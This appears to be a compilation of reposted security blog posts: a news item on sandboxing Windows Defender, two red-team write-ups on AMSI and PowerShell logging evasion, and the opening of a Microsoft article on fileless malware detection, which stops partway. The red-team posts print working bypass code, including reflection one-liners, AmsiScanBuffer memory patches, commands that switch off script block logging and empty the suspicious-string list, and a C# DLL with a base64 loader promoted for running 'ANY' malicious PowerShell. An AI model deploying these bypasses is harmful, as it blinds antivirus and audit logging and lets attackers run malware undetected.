Microsoft Sandboxes Windows Defender

As the infosec community talked about potential cyber attacks leveraging vulnerabilities in antivirus products, Microsoft took notes and started to work on a solution. The company announced that its Windows Defender can run in a sandbox.

Antivirus software runs with the highest privileges on the operating system, a level of access coveted by any threat actor, so any exploitable vulnerabilities in these products add to the possibilities of taking over the system.

By making Windows Defender run in a sandbox, Microsoft makes sure that the security holes its product may have stay contained within the isolated environment; unless the attacker finds a way to escape the sandbox, which is among the toughest things to do, the system remains safe.

Remote code execution flaws

Windows Defender has seen its share of vulnerability reports. Last year, Google’s experts Natalie Silvanovich and Tavis Ormandy announced a remote code execution (RCE) bug severe enough to make Microsoft release an out-of-band update to fix the problem.

In April this year, Microsoft patched another RCE in Windows Defender, which could be abused via a specially crafted RAR file. When the antivirus got to scanning it, as part of its protection routine, the would trigger, giving the attacker control over the system in the context of the local user.

Microsoft is not aware of any attacks in-the-wild actively targeting or exploiting its antivirus solution but acknowledges the potential risk hence its effort to sandbox Windows Defender.

Turn on sandboxing for Windows Defender

The new capability has been gradually rolling out for Windows Insider users for test runs, but it can also be enabled on Windows 10 starting version 1703.

Regular users can also run Windows Defender in a sandbox if they have the operating system version mentioned above. They can do this by enabling  the following system-wide setting from the Command Prompt with admin privileges:

setx /M MP_FORCE_USE_SANDBOX 1

Restarting the computer is necessary for the setting to take effect. Reverting the setting is possible by changing the value for forcing sandboxing to 0 (zero) and rebooting the system.

Sandboxing Windows Defender

Forcing an antivirus product to work from an insulated context is no easy thing to do due to the app’s need to check a large number of inputs in real time, so access to these resources is an absolute requirement. An impact on performance is a likely effect of this.

«It was a complex undertaking: we had to carefully study the implications of such an enhancement on performance and functionality. More importantly, we had to identify high-risk areas and make sure that sandboxing did not adversely affect the level of security we have been providing,» the official announcement reads.

Despite the complexity of the task, Microsoft was not the first to sandbox Windows Defender. Last year, experts from security outfit Trail of Bits, who also specialize in virtualization, created a framework that could run Windows applications in their own containers. Windows Defender was one of the projects that Trail of Bits was able to containerize successfully and open-sourced it.

AVs are as susceptible to flaws as other software

Despite their role on the operating system, security products are susceptible to flaws just like other complex software. Windows Defender is definitely not the only one vulnerable.

In 2008, security researcher Feng Xue talked at BlackHat Europe about techniques for finding and exploiting vulnerabilities in antivirus software, referencing bugs as old as 2004.

Xue pointed out that the flaws in this type of software stem from the fact that it has to deal with hundreds of files types that need to be checked with components called content parsers. A bug in one parser could represent a potential path on the protected system.

Six years later, another researcher, Joxean Koret, took the matter further and showed just how vulnerable are the defenders of the computer systems, and let the world know that exploiting them «is not different to exploiting other client-side applications.»

His analysis at the time on 14 antivirus solutions on the market revealed dozens of vulnerabilities that could be exploited remotely and locally, including denial of service, privilege escalation, and arbitrary code execution. His list included big names like Bitdefender and Kaspersky.

Antivirus developers do not leave their customers high and dry and audit their products constantly. The result is patching any of the bugs discovered during the code review and improving the quality assurance process for finer combing for potential flaws.

Реклама

Exploring PowerShell AMSI and Logging Evasion

Картинки по запросу amsi powershell

( Original text by Adam Chester of MDSec’s ActiveBreach team )

By now, many of us know that during an engagement, AMSI (Antimalware Scripting Interface) can be used to trip up PowerShell scripts in an operators arsenal. Attempt to IEX Invoke-Mimikatz without taking care of AMSI, and it could be game over for your undetected campaign.
Before attempting to load a script, it has now become commonplace to run the following AMSI bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
But have you ever wondered just how this magic command goes about unhooking AMSI?
In this post, we will walk through just how this technique works under the hood, then we will look at a few alternate ways to unhook AMSI from PowerShell. Finally we’ll review a relative newcomer to the blue-team arsenal, script block logging, how this works, and just how we can unhook this before it causes us any issues during an engagement.

AMSI Bypass – How it works

The earliest reference to this bypass technique that I can find is credited to Matt Graeber back in 2016:
To review just what this command is doing to unhook AMSI, let’s load the assembly responsible for managing PowerShell execution into a disassembler, “System.Management.Automation.dll”.
To start, we need to look at the “System.Management.Automation.AmsiUtils” class, where we find a number of static methods and properties. What we are interested in is the variable “amsiInitFailed”, which is defined as:
private static bool amsiInitFailed = false;
Note that this variable has the access modifier of “private”, meaning that it is not readily exposed from the AmsiUtils class. To update this variable, we need to use .NET reflection to assign a value of ‘true’, which is observed in the above bypass command.
So where is this variable used and why does it cause AMSI to be disabled? The answer can be found in the method “AmsiUtils.ScanContent”:


internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
...
}

Here we can see that the “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:
AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED
This in turn causes any further checks within the code to be bypassed, neutering AMSI… pretty cool 🙂
Unfortunately for us as attackers, a recent Windows Defender update has blocked the AMSI bypass command, causing AMSI to trigger, blocking the AMSI bypass before we can unhook AMSI… meta:
Diving into Windows Defender with a debugger, we can actually find the signature being used to flag this this bypass:
This case insensitive match is applied by Defender to any command sent over via AMSI in search for commands attempting to unhook AMSI. It’s worth noting that there is no real parsing going on of the command’s context, for example, the following would also cause this rule to trigger:
echo“amsiutils’).getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)
Knowing this, we see how easy it is to bypass this signature, for example, we could do something like:
[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Or even just swap out single quotes for double quotes:
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
So it turns out that this solution isn’t really a true restriction to operator’s who simply modify their command to bypass AMSI. What is interesting about this development however, is that there now seems to be a concerted effort to stop attackers from using a known command to bypass AMSI. I doubt that this will be the end to this cat-and-mouse game, so I wanted to take a further look at how AMSI is working in PowerShell, and see if we could identify any other interesting bypasses.

AMSI Bypass – Patching amsi.dll AmsiScanBuffer

One way that seemed an intuitive way of evading AMSI was to patch out exported functions from AMSI.dll, the library responsible for gluing together Defender and PowerShell. After starting down this road, I actually found that the technique was already presented by Tal Lieberman during his Blackhat talk “The Rise and Fall of AMSI”. This method shows an alternative approach to AMSI evasion, and we will cover the fundamentals here to give you an idea of just how this technique can be applied.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned. Crafted, we have something like this:
$win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect
);
}
"@
Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer”)
$b = 0
[Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b)
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
Here we are simply grabbing the exported function using “GetProcAddress”, ensuring that we can write to the function body using “VirtualProtect” by marking the page as read/write/execute, and then using the “Copy” function to update the function with our new 7 byte stub.
When executed, the patched AmsiScanBuffer method looks like this:
Then if we attempt to load Invoke-Mimikatz:
Brilliant, no AMSI alerting or Defender showing up our script load.
The take-away from this technique, is that by having full access to the memory space of the process, it’s actually pretty difficult to stop the modification of functions which attempt to essentially report on their own malicious activity.
Now that we have a nice alternative technique to bypass AMSI, let’s try and find something a bit different which doesn’t involve the modification of unmanaged code.

AMSI Bypass – Forcing an error

We now know from the above test that Windows Defender is blocking based on signatures, and any attempt to reference “amsiInitFailed” is likely high on the agenda of endpoint security products given its prevalence. So how about we actually attempt to force a genuine error state, which should in turn set this flag for us?
After a bit of searching on a train journey to London, I found that it was actually trivial to force this error condition by controlling 2 variables used by the AMSI assembly, “amsiSession” and “amsiContext”.
Let’s first take a look first at the code which controls the setting of the “amsiInitFailed” flag within the “AmsiUtils.ScanContent” method:

int hresult = 0;
if (AmsiUtils.amsiContext == IntPtr.Zero)
{
hresult = AmsiUtils.Init();
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return;  AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
if (AmsiUtils.amsiSession == IntPtr.Zero)
{
hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, refAmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = true;
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}

Here we see 2 conditions which could result in this flag being set legitimately… that is if either “AmsiUtils.Init()” or “AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)” were to fail. We will focus on “AmsiOpenSession” for the purposes of this post, which is a native function exported from “amsi.dll”.
Let’s look at a disassembly of this function to see what is happening when it’s called by PowerShell:
Interestingly, we see that if we can get “AmsiOpenSession(…)” to be invoked with an “amsiContext” pointer which does not contain a 4 byte value of “AMSI” at offset 0x00, an error will be returned from the function of 0x80070057 (or E_INVALIDARG). When this error is returned back to PowerShell, “Utils.Succeeded(…)” will fail and “amsiInitFailed” will be set for us.
So how can we force this condition? To do this we will need to follow a few steps:
  1. Allocate a region of unmanaged memory which will be used as our fake “amsiContext”.
  2. Assign this allocated memory to the variable “amsiContext”.
  3. Set “amsiSession” to $null which will force the “AmsiOpenSession(..)” amsi.dll method, passing our controlled amsiContext memory region, and result in an error being returned.
Collated, we have the following command sequence:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null$null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
Executing this snippet, and attaching a debugger to Powershell.exe, we can see the expected error code being returned:
Now if we check for “amsiInitFailed”, we can see that this value has now been set:
And we can now try to load Invoke-Mimikatz:
Awesome, another way to get around AMSI.
Hopefully what you are seeing here is that although AMSI is a pretty good speed bump, if we understand just how the technology works in the background, we actually see that it is trivial to disable during a campaign.
Now that we have an idea of just how to find these kinds of bypasses, let’s turn our attention to another area of PowerShell security which may cause some issues during an engagement, PowerShell script block logging.

PowerShell Script Block Logging

If you haven’t yet come across this functionality yet, I recommend checking out this introduction post from Microsoft which covers the introduced logging support during PowerShell v5.
Essentially, script block logging gives blue-team the option to enable auditing of scripts being executed within PowerShell. Whilst this has obvious advantages, the huge benefit of this method is the ability to unpack obfuscated scripts into a readable form. For example, if we invoke an obfuscated command passed through Invoke-Obfuscate:
We see that our activity is logged using the decoded and deobfuscated PowerShell command:
Feed this into a log correlation tool, and the SOC has a brilliant way of logging and identifying malicious activity across a network.
So how as the red-team do we get around this? Let’s first take a look at the implementation of Powershell logging under the hood and find out.
To begin, we need to again disassemble the System.Management.Automation.dll assembly and search for the point at which script logging has been enabled.
If we review “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled”, we see:
internal static bool ScriptBlockLoggingExplicitlyDisabled()
{
Dictionary<stringobject> groupPolicySetting = Utils.GetGroupPolicySetting("ScriptBlockLogging", Utils.RegLocalMachineThenCurrentUser);
object obj;
return groupPolicySetting != null && groupPolicySetting.TryGetValue("EnableScriptBlockLogging"out obj) && string.Equals("0", obj.ToString(), StringComparison.OrdinalIgnoreCase);
}
This looks like a good place to start given our knowledge of how script block logging is rolled out. Here we find that the setting to enable or disable script logging is returned from the method “Utils.GetGroupPolicySetting(…)”. Digging into this method, we see:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringsettingName, RegistryKey[] preferenceOrder)
{
returnUtils.GetGroupPolicySetting("Software\\Policies\\Microsoft\\Windows\\PowerShell", settingName, preferenceOrder);
}
Contained here we have a further call which provides the registry key path and the setting we want to grab, which is passed to:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringgroupPolicyBase, string settingName, RegistryKey[] preferenceOrder)
{
ConcurrentDictionary<string, Dictionary<stringobject>> obj = Utils.cachedGroupPolicySettings;
...
if (!InternalTestHooks.BypassGroupPolicyCaching && Utils.cachedGroupPolicySettings.TryGetValue(key, out dictionary))
{
return dictionary;
}
...
}
And here we see a reference to the property “Utils.cachedGroupPolicySettings”. This ConcurrentDictionary<T> is used to store a cached version of the registry settings which enable / disable logging (as well as a variety of other PowerShell auditing features), presumably to increase performance during runtime rather than attempting to look up this value from the registry each time a command is executed.
Now that we understand just where these preferences are held during runtime, let’s move onto how we go about disabling this logging.

PowerShell script block logging – Bypass

We have seen that “cachedGroupPolicySettings” will be the likely target of our modification. The theory is that by manipulating the contents of “cachedGroupPolicySettings”, we should be able to trick PowerShell into believing that the registry key which was cached disables logging. This of course also has the benefit that we will never touch the actual registry value.
To update this dictionary within PowerShell, we can again turn to reflection. The “cachedGroupPolicySettings” dictionary key will need to be set to the registry key path where the PowerShell script blog logging functionality is configured, which in our case is “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”. The value will be a Dictionary<string,object> object pointing to our modified configuration value, which will be “EnableScriptBlockLogging” set to “0”.
Put together, we have a snippet that looks like this:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging""0")
And this is all it actually takes to ensure that events are no longer recorded:
It is important to note that as script block logging is enabled up until this point, this command will end up in the log. I will leave the exercise of finding a workaround to this to the reader.
While looking to see if this technique was already known, I actually came across a pull request in the Empire framework adding this functionality, courtesy of @cobbr_io.
This was later merged into Empire, which means that if you want to avoid PowerShell script block logging, the Empire framework already has you covered.
So, what about if we are operating in an environment in which script block logging has not been configured, we should be good to go right?… Unfortunately, no.

PowerShell Logging – Suspicious Strings

If we continue digging in PowerShell’s logging code, eventually we come to a method named “ScriptBlock.CheckSuspiciousContent”:
internal static string CheckSuspiciousContent(Ast scriptBlockAst)
{
IEnumerable<string> source = ScriptBlock.TokenizeWordElements(scriptBlockAst.Extent.Text);
ParallelOptions parallelOptions = new ParallelOptions();
string foundSignature = null;
Parallel.ForEach<string>(source, parallelOptions, delegate(string element, ParallelLoopState loopState)
{
if (foundSignature == null && ScriptBlock.signatures.Contains(element))
{
foundSignature = element;
oopState.Break();
}
});
if (!string.IsNullOrEmpty(foundSignature))
{
return foundSignature;
}
if (!scriptBlockAst.HasSuspiciousContent)
{
return null;
}
Ast ast2 = scriptBlockAst.Find((Ast ast) => !ast.HasSuspiciousContent && ast.Parent.HasSuspiciousContent, true);
if (ast2 != null)
{
return ast2.Parent.Extent.Text;
}
return scriptBlockAst.Extent.Text;
}
Here we have a method which will iterate through a provided script block, and attempt to assess if its execution should be marked as suspicious or not. Let’s have a look at the list of signatures which can be found in the variable “Scriptblock.signatures”:

private static HashSet<string> signatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
"Add-Type",
"DllImport",
"DefineDynamicAssembly",
"DefineDynamicModule",
"DefineType",
"DefineConstructor",
"CreateType",
"DefineLiteral",
"DefineEnum",
"DefineField",
"ILGenerator",
"Emit",
"UnverifiableCodeAttribute",
"DefinePInvokeMethod",
"GetTypes",
"GetAssemblies",
"Methods",
"Properties",
"GetConstructor",
"GetConstructors",
"GetDefaultMembers",
"GetEvent",
"GetEvents",
"GetField",
"GetFields",
"GetInterface",
"GetInterfaceMap",
"GetInterfaces",
"GetMember",
"GetMembers",
"GetMethod",
"GetMethods",
"GetNestedType",
"GetNestedTypes",
"GetProperties",
"GetProperty",
"InvokeMember",
"MakeArrayType",
"MakeByRefType",
"MakeGenericType",
"MakePointerType",
"DeclaringMethod",
"DeclaringType",
"ReflectedType",
"TypeHandle",
"TypeInitializer",
"UnderlyingSystemType",
"InteropServices",
"Marshal",
"AllocHGlobal",
"PtrToStructure",
"StructureToPtr",
"FreeHGlobal",
"IntPtr",
"MemoryStream",
"DeflateStream",
"FromBase64String",
"EncodedCommand",
"Bypass",
"ToBase64String",
"ExpandString",
"GetPowerShell",
"OpenProcess",
"VirtualAlloc",
"VirtualFree",
"WriteProcessMemory",
"CreateUserThread",
"CloseHandle",
"GetDelegateForFunctionPointer",
"kernel32",
"CreateThread",
"memcpy",
"LoadLibrary",
"GetModuleHandle",
"GetProcAddress",
"VirtualProtect",
"FreeLibrary",
"ReadProcessMemory",
"CreateRemoteThread",
"AdjustTokenPrivileges",
"WriteByte",
"WriteInt32",
"OpenThreadToken",
"PtrToString",
"FreeHGlobal",
"ZeroFreeGlobalAllocUnicode",
"OpenProcessToken",
"GetTokenInformation",
"SetThreadToken",
"ImpersonateLoggedOnUser",
"RevertToSelf",
"GetLogonSessionData",
"CreateProcessWithToken",
"DuplicateTokenEx",
"OpenWindowStation",
"OpenDesktop",
"MiniDumpWriteDump",
"AddSecurityPackage",
"EnumerateSecurityPackages",
"GetProcessHandle",
"DangerousGetHandle",
"CryptoServiceProvider",
"Cryptography",
"RijndaelManaged",
"SHA1Managed",
"CryptoStream",
"CreateEncryptor",
"CreateDecryptor",
"TransformFinalBlock",
"DeviceIoControl",
"SetInformationProcess",
"PasswordDeriveBytes",
"GetAsyncKeyState",
"GetKeyboardState",
"GetForegroundWindow",
"BindingFlags",
"NonPublic",
"ScriptBlockLogging",
"LogPipelineExecutionDetails",
"ProtectedEventLogging"
};

What this means is that if your command contains any of the above strings an event will be logged, even if no script block logging has been configured. For example, if we execute a command which matches a suspicious signature on an environment not configured with logging, such as:
Write-Host “I wouldn’t want to call DeviceIoControl here”
We see that the token “DeviceIoControl” is identified as suspicious and our full command is added to the Event Log:
So how do we go about evading this? Let’s see how our suspicious command is handled by PowerShell:
internal static void LogScriptBlockStart(ScriptBlock scriptBlock, Guid runspaceId)
{
bool force = false;
if (scriptBlock._scriptBlockData.HasSuspiciousContent)
{
force = true;
}
ScriptBlock.LogScriptBlockCreation(scriptBlock, force);
if(ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockInvocationLogging"))
{
PSEtwLog.LogOperationalVerbose(PSEventId.ScriptBlock_Invoke_Start_Detail, PSOpcode.Create, PSTask.CommandStart, PSKeyword.UseAlwaysAnalytic, newobject[] {
scriptBlock.Id.ToString(),
runspaceId.ToString()
});
}
}
Here we can see that the “force” local variable is set depending on if our command is detected as suspicious or not. This is then passed to “ScriptBlock.LogScriptBlockCreation(…)” to force logging:
internal static void LogScriptBlockCreation(ScriptBlock scriptBlock, boolforce)
{
if ((force || ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockLogging")) && (!scriptBlock.HasLogged || InternalTestHooks.ForceScriptBlockLogging))
{
if (ScriptBlock.ScriptBlockLoggingExplicitlyDisabled() || scriptBlock.ScriptBlockData.IsProductCode)
{
return;
}
...
}
}
Above we can see that the decision to log is based on the “force” parameter, however we are able to exit this method without logging if the “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()” method returns true.
As we know from the above walkthrough, we already control how this method returns, meaning that we can repurpose our existing script block logging bypass to ensure that any suspicious strings are also not logged.
There is a second bypass here however that we can use when operating in an environment with only this kind of implicit logging. Remember that list of suspicious strings… how about we just truncate that list, meaning that no signatures will match?
Using a bit of reflection, we can use the following command to do this:
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object'System.Collections.Generic.HashSet[string]'))
Here we set the “signatures” variable with a new empty hashset, meaning that the “force” parameter will never be true, bypassing logging:
Hopefully this post has demonstrated a few alternative ways of protecting your operational security when using your script arsenal. As we continue to see endpoint security solutions focusing on PowerShell, I believe that ensuring we know just how these security protections work will not only improve our attempts to avoid detection during an engagement, but also help defenders to understand the benefits and limitations to monitoring PowerShell.

How to bypass AMSI and execute ANY malicious Powershell code

Картинки по запросу amsi microsoft

( original text by 

Hello again. In my previous posts I detailed how to manually get SYSTEM shell from Local Administrators users. That’s interesting but very late game during a penetration assessment as it is presumed that you already owned the target machine.

This post will be more useful for early game, as AMSI (Anti Malware Scan Interface) can be a trouble to get a shell, or to execute post-exploitation tools while you still do not have an admin shell.

What is AMSI?

AMSI stands for “ANTI MALWARE SCAN INTERFACE”;

As it’s name suggests, it’s job is to scan, detect and block anything that does bad stuff.

Still doesn’t know what this is? Check this screenshot:

Screenshot

Obviously if you are experienced with penetration testing in Windows environments, you had such error with almost all public known scripts that are used like some in Nishang, Empire, PowerSploit and other awesome PowerShell scripts.

How does AMSI works?

AMSI uses “string-based” detection measures to determine if a PowerShell code is malicious or not.

Check this example:

Screenshot

Yes, the word “amsiutils” is banned. If have this word in your name, my friend, you are a malicious person for AMSI.

How to bypass string detection?

Everyone knows that string detection is very easy to bypass, just don’t use your banned string literally. Use encoding or split it in chunks and reassemble to get around this.

Here are three ways of executing the “banned” code and not get blocked:

Screenshot

Simply by splitting the word in half is enough to fool this detection scheme. We see this a lot in obfuscation. But in most of the cases, this method can fail.

Screenshot

In some cases, simply by decoding a Base64 banned code is enough to get around it.

Screenshot

And of course, you could use XOR to trick amsi and decode your string back to memory during runtime. This would be the more effective one, as it would need a higher abstraction to detect it.

All this techniques are to “GET AROUND” string detection, but we don’t want that. We want to execute the scripts in original state, the state where they are blocked by AMSI.

AMSI bypass by memory patching

This is the true bypass. Actually we do not “bypass” in the strict meaning of the word, we actually DISABLE it.

AMSI has several functions that are executed before any PowerShell code is run (from Powershell v3.0 onwards), so to bypass AMSI completely and execute any PowerShell malware, we need to memory patch them to COMPLETELY DISABLE it.

The best technique I have found in the internet is in this Link and it works in most recent version of Windows!

I wont enter in details about memory patching, you can get these details in above link

Instead, we will weaponize this technique and apply it to a PowerShell script, so we can use it in our real life engagements!

We will compile a C# DLL with code that will apply the above mentioned technique and then we will load and execute this code in a PowerShell session, disabling AMSI completely!

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

Now, with possession of a DLL of the above code, use it like this:

Screenshot

See that we are able to use the banned word freely. From this point onwards, THERE IS NO AMSI. We are free to load ANY powershell script, malicious or not. By combining this type of attack with your malicious tools you will 100% success against AMSI.

Weaponinzing with PowerShell

Of course, in a Penetration Test we must have tools to apply such techniques automatically. Again, as we used .NET framework through C#, we can create a Posh script that reflects our DLL in-memory during runtime, without the need to touch the disk with our DLL.

Here is my PowerShell script to disable AMSI:

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

This will bypass string detection because it does not uses anything malicious at all. It just loads an .NET assembly to memory and execute it’s code. And after executing it, you are FREE to execute real PowerShell malware!

Check my results:

Screenshot

This technique is awesome and extremly useful. You can put to use a handful of PowerShell post-exploitation scripts like Nishang, Powersploit and any other PoSH hacking tool that once was blocked by the annoying AMSI.

I hope you liked this post, all the credits for the technique goes to guys from CyberArk website, I only showed how to effectively use it in a real-life scenario from an attacker perspective.

Best regards,

zc00l.

Out of sight but not invisible: Defeating fileless malware with behavior monitoring, AMSI, and next-gen AV

Картинки по запросу WINDOWS DEFENDER RESEARCH

( Original text  by Andrea Lelli )

Consider this scenario: Two never-before-seen, heavily obfuscated scripts manage to slip past file-based detection and dynamically load an info-stealing payload into memory. The scripts are part of a social engineering campaign that tricks potential victims into running the scripts, which use the file names install_flash_player.js and BME040429CB0_1446_FAC_20130812.XML.PDF.js, to distribute and run the payload.

The payload is sophisticated and particularly elusive, given that it:

  • Doesn’t touch the disk, and does not trigger antivirus file scanning
  • Is loaded in the context of the legitimate process that executed the scripts (i.e., wscript.exe)
  • Leaves no traces on the disk, such that forensic analysis finds limited evidence

These are markers of a fileless threat. Still, Windows Defender Advanced Threat Protection (Windows Defender ATPantivirus capabilities detect the payload, stopping the attack in its tracks. How is this possible?

In this scenario, Antimalware Scan Interface (AMSI) facilitates detection. AMSI is an open interface that allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.

AMSI is part of the range of dynamic next-gen features that enable antivirus capabilities in Windows Defender ATP to go beyond file scanning. These features, which also include behavior monitoring, memory scanning, and boot sector protection, catch a wide spectrum of threats, including new and unknown (like the two scripts described above), fileless threats (like the payload), and other sophisticated malware.

Generically detecting fileless techniques

